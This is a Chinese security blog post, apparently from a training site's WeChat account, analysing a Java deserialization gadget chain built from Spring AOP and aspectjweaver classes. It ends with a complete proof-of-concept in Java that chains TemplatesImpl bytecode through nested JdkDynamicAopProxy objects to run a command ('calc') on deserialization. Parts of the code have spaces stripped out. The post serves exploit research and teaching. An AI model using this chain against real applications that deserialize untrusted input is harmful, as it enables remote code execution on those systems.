扫码领资料
获网安教程
本文由掌控安全学院 - yusi 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~( https://bbs.zkaq.cn)
链子分析
反向分析
依赖于 Spring-AOP 和 aspectjweaver 两个包,在我们 springboot 中的 spring-boot-starter-aop 自带包含这俩类,所以也可以说是 spring boot 的原生反序化链了,调用链如下,
GadgetJdkDynamicAopProxy.invoke()-> ReflectiveMethodInvocation.proceed()-> JdkDynamicAopProxy.invoke()-> AspectJAroundAdvice.invoke-> org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-> method.invoke()
这里调用两次 JdkDynamicAopProxy.invoke()是因为后面包了两层 JdkDynamicAopProxy
代理。
看似链子很简单其实里面大有学问,先看链子最后 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()
方法,会调用到 invokeAdviceMethodWithGivenArgs
方法,在这个方法中存在反射调用
aspectJAdviceMethod
变量可以控制,让其为目标方法,this.aspectInstanceFactory.getAspectInstance()
看师傅们选的是 SingletonAspectInstanceFactory
这个 factory 类,同样可以控制返回值,至于方法参数 actualArgs
我也难得看了,这里先不管,无参方法的话就选择 newTransformer()
吧,
接着继续看链子可以知道在 AspectJAroundAdvice#invoke
调用了 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()
方法,因为 AspectJAroundAdvice
是子类,其没有invokeAdviceMethod()
方法所以会调用到父类AbstractAspectJAdvice
的该方法,
这里简单提一下双亲委派机制,上面不是说了父类实列化才能控制几个变量吗,但是其实看后面分析,我们需要传入的对象其实也就是AspectJAroundAdvice对象,而我们实列化AspectJAroundAdvice对象传入的变量其实同样会影响到父类,调用到父类invokeAdviceMethod()方法时,如果父类的变量为null就会去子类寻找
参数什么的就不用管了,然后继续顺着链子向上看,来到 ReflectiveMethodInvocation.proceed()
方法,
需要让这里的 interceptorOrInterceptionAdvice
变量为 AspectJAroundAdvice
类,朔源一下interceptorsAndDynamicMethodMatchers
变量,在构造函数进行了赋值,(不过不能直接实列化)
最后来到JdkDynamicAopProxy.invoke()
方法,看到在else分支调用了我们的 ReflectiveMethodInvocation.proceed()
方法,而且巧妙的是ReflectiveMethodInvocation
类没有继承serializable
接口,不能被反序列化的,但是这里直接就进行实列化
正向分析
我们需要控制的也就是 chain 参数,其就是上面的interceptorOrInterceptionAdvice
变量,我们要让其为AspectJAroundAdvice
类,而且chain也只有不为空才能来到else分支,
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
跟进 getInterceptorsAndDynamicInterceptionAdvice(method, targetClass)
方法,最后返回的是cached
变量,有两处进行了赋值,
这里就是在 map 缓存中寻找,但是简单查看就知道 methodCache 是 transient 修饰的,不能进行序列化所以一定为 null,
List<Object> cached = (List)this.methodCache.get(cacheKey);
只能考虑下面这段代码了,
cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);
继续跟进 getInterceptorsAndDynamicInterceptionAdvice
方法,实现了这个方法的只有DefaultAdvisorChainFactory
类。
看到最后返回的是interceptorList
变量,看到只有在for
循环中才会对interceptorList
赋值,而要进行for循环就需要config.getAdvisors();
不为空列表,看到 config
就是上面传入的this
也就是AdvisedSupport
对象,我们需要AdvisedSupport.getAdvisors()
不为空列表,这个很好控制,
那么我们控制的AdvisedSupport对象是怎么传进去的呢,我分析发现这是从jack稳定开始JdkDynamicAopProxy构造函数的参数就用的这个对象,因为JdkDynamicAopProxy对象中那个参数advised就是AdvisedSupport
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) { AdvisorAdapterRegistryregistry= GlobalAdvisorAdapterRegistry.getInstance(); Advisor[] advisors = config.getAdvisors(); List<Object> interceptorList = newArrayList(advisors.length); Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass(); BooleanhasIntroductions=null; Advisor[] var9 = advisors; intvar10= advisors.length; for(intvar11=0; var11 < var10; ++var11) { Advisoradvisor= var9[var11]; if (advisor instanceof PointcutAdvisor) { PointcutAdvisorpointcutAdvisor= (PointcutAdvisor)advisor; if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) { MethodMatchermm= pointcutAdvisor.getPointcut().getMethodMatcher(); boolean match; if (mm instanceof IntroductionAwareMethodMatcher) { if (hasIntroductions == null) { hasIntroductions = hasMatchingIntroductions(advisors, actualClass); } match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions); } else { match = mm.matches(method, actualClass); } if (match) { MethodInterceptor[] interceptors = registry.getInterceptors(advisor); if (mm.isRuntime()) { MethodInterceptor[] var17 = interceptors; intvar18= interceptors.length; for(intvar19=0; var19 < var18; ++var19) { MethodInterceptorinterceptor= var17[var19]; interceptorList.add(newInterceptorAndDynamicMethodMatcher(interceptor, mm)); } } else { interceptorList.addAll(Arrays.asList(interceptors)); } } } } elseif (advisor instanceof IntroductionAdvisor) { IntroductionAdvisoria= (IntroductionAdvisor)advisor; if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) { Interceptor[] interceptors = registry.getInterceptors(advisor); interceptorList.addAll(Arrays.asList(interceptors)); } } else { Interceptor[] interceptors = registry.getInterceptors(advisor); interceptorList.addAll(Arrays.asList(interceptors)); } } return interceptorList; }
然后进入循环后就是看到interceptors
的赋值了
Interceptor[] interceptors = registry.getInterceptors(advisor);
registry就是DefaultAdvisorAdapterRegistry
对象,跟进看到advice
如果继承了MethodInterceptor
类就会被添加进interceptors中,
而这个advice
变量需要时Advice类型然后还需要实现MethodInterceptor
接口,我们需要让这个advice为我们的目标类也就是 AspectJAroundAdvice
,但是这个目标类只实现了MethodInterceptor
接口,
这就不得不提师傅们的顶级思路了,通过再套层JdkDynamicAopProxy代理让我们的AspectJAroundAdvice
类实现MethodInterceptor
接口并且为advice
类型,然后最后得到的advice就是个proxy,
然后一直返回到 chain,
跟进就来到上面反向分析的ReflectiveMethodInvocation.proceed()
方法,在这里看到我们的interceptorOrInterceptionAdvice
为代理类,
触发JdkDynamicAopProxy#invoke
,反射调用目标类的 invoke 方法,
最后回到上面的反向分析的调用链,最后进行命令执行
poc 构造
经过上面分析,链子构造就层层赋值就可以了,这里参考一下:https://gsbp0.github.io/post/springaop/ 进行构造 poc,
通过 tostring 进行触发代理类,当然其实什么方法可以。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.aopalliance.aop.Advice; import org.aopalliance.intercept.MethodInterceptor; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJExpressionPointcut; import org.springframework.aop.aspectj.SingletonAspectInstanceFactory; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.support.DefaultIntroductionAdvisor; import org.springframework.core.Ordered; import java.io.*; import java.lang.reflect.*; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; publicclasstest { publicstaticvoidmain(String[] args)throws Exception { ClassPoolpool= ClassPool.getDefault(); CtClassclazz= pool.makeClass("a"); CtClasssuperClass= pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructorconstructor=newCtConstructor(newCtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec("calc");"); clazz.addConstructor(constructor); byte[][] bytes = newbyte[][]{clazz.toBytecode()}; TemplatesImpltemplates= TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "test"); setValue(templates, "_tfactory", null); Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法 SingletonAspectInstanceFactoryfactory=newSingletonAspectInstanceFactory(templates); AspectJAroundAdviceadvice=newAspectJAroundAdvice(method,newAspectJExpressionPointcut(),factory); Proxyproxy1= (Proxy) getAProxy(advice,Advice.class); BadAttributeValueExpExceptionbadAttributeValueExpException=newBadAttributeValueExpException(123); setValue(badAttributeValueExpException, "val", proxy1); serilize(badAttributeValueExpException); deserilize("ser.bin"); } publicstatic Object getBProxy(Object obj,Class[] clazzs)throws Exception { AdvisedSupportadvisedSupport=newAdvisedSupport(); advisedSupport.setTarget(obj); Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport); Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler); return proxy; } publicstatic Object getAProxy(Object obj,Class<?> clazz)throws Exception { AdvisedSupportadvisedSupport=newAdvisedSupport(); advisedSupport.setTarget(obj); AbstractAspectJAdviceadvice= (AbstractAspectJAdvice) obj; DefaultIntroductionAdvisoradvisor=newDefaultIntroductionAdvisor((Advice) getBProxy(advice, newClass[]{MethodInterceptor.class, Advice.class})); advisedSupport.addAdvisor(advisor); Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport); Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), newClass[]{clazz}, handler); return proxy; } publicstaticvoidserilize(Object obj)throws IOException { ObjectOutputStream out=newObjectOutputStream(newFileOutputStream("ser.bin")); out.writeObject(obj); } publicstatic Object deserilize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream in=newObjectInputStream(newFileInputStream(Filename)); Object obj=in.readObject(); return obj; } publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception { Fieldfield= obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
总结
这里的JdkDynamicAopProxy
代理类实现MethodInterceptor
接口又是Advice类型只是一层,另一层是后续把这个代理类当作目标类进行处理调用 invoke 方法然后触发handler#invoke
方法,再次反射调用AspectJAroundAdvice#invoke
方法形成利用。
参考:https://gsbp0.github.io/post/springaop/
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):JavaSec | SpringAOP 链学习分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论